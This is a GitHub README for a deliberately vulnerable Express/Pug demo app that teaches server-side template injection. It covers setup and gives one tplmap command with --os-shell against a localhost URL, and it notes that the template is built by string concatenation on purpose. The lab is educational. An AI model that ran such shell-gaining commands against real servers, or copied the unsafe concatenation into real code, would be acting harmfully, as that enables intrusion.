Skip to content

Latest commit

 

History

History
43 lines (28 loc) · 1.17 KB

README.md

File metadata and controls

43 lines (28 loc) · 1.17 KB

Hands-on Express SSTI

This application is a demonstration prototype just to show how to perform SSTI (Server side templating injection) attack. This application use Express and Pug as templating engine. This tutorial is based on https://appsec.amanvir.io/exploring-template-injection

Setting-up

  • Install nodejs

  • Install dependencies

$ npm install
$ git clone https://github.com/epinna/tplmap.git
$ cd tplmap
$ virtualenv --python=/usr/bin/python2.7 venv
$ source ./venv/bin/activate
$ pip install -r requirements.txt
  • Start application
$ node app.js

SSTI attack

(venv)$ ./tplmap.py --engine pug --os-shell -u http://localhost:3000/?name=bob

In this example, the template is built by concatenation instead of using interpolation in order to escape data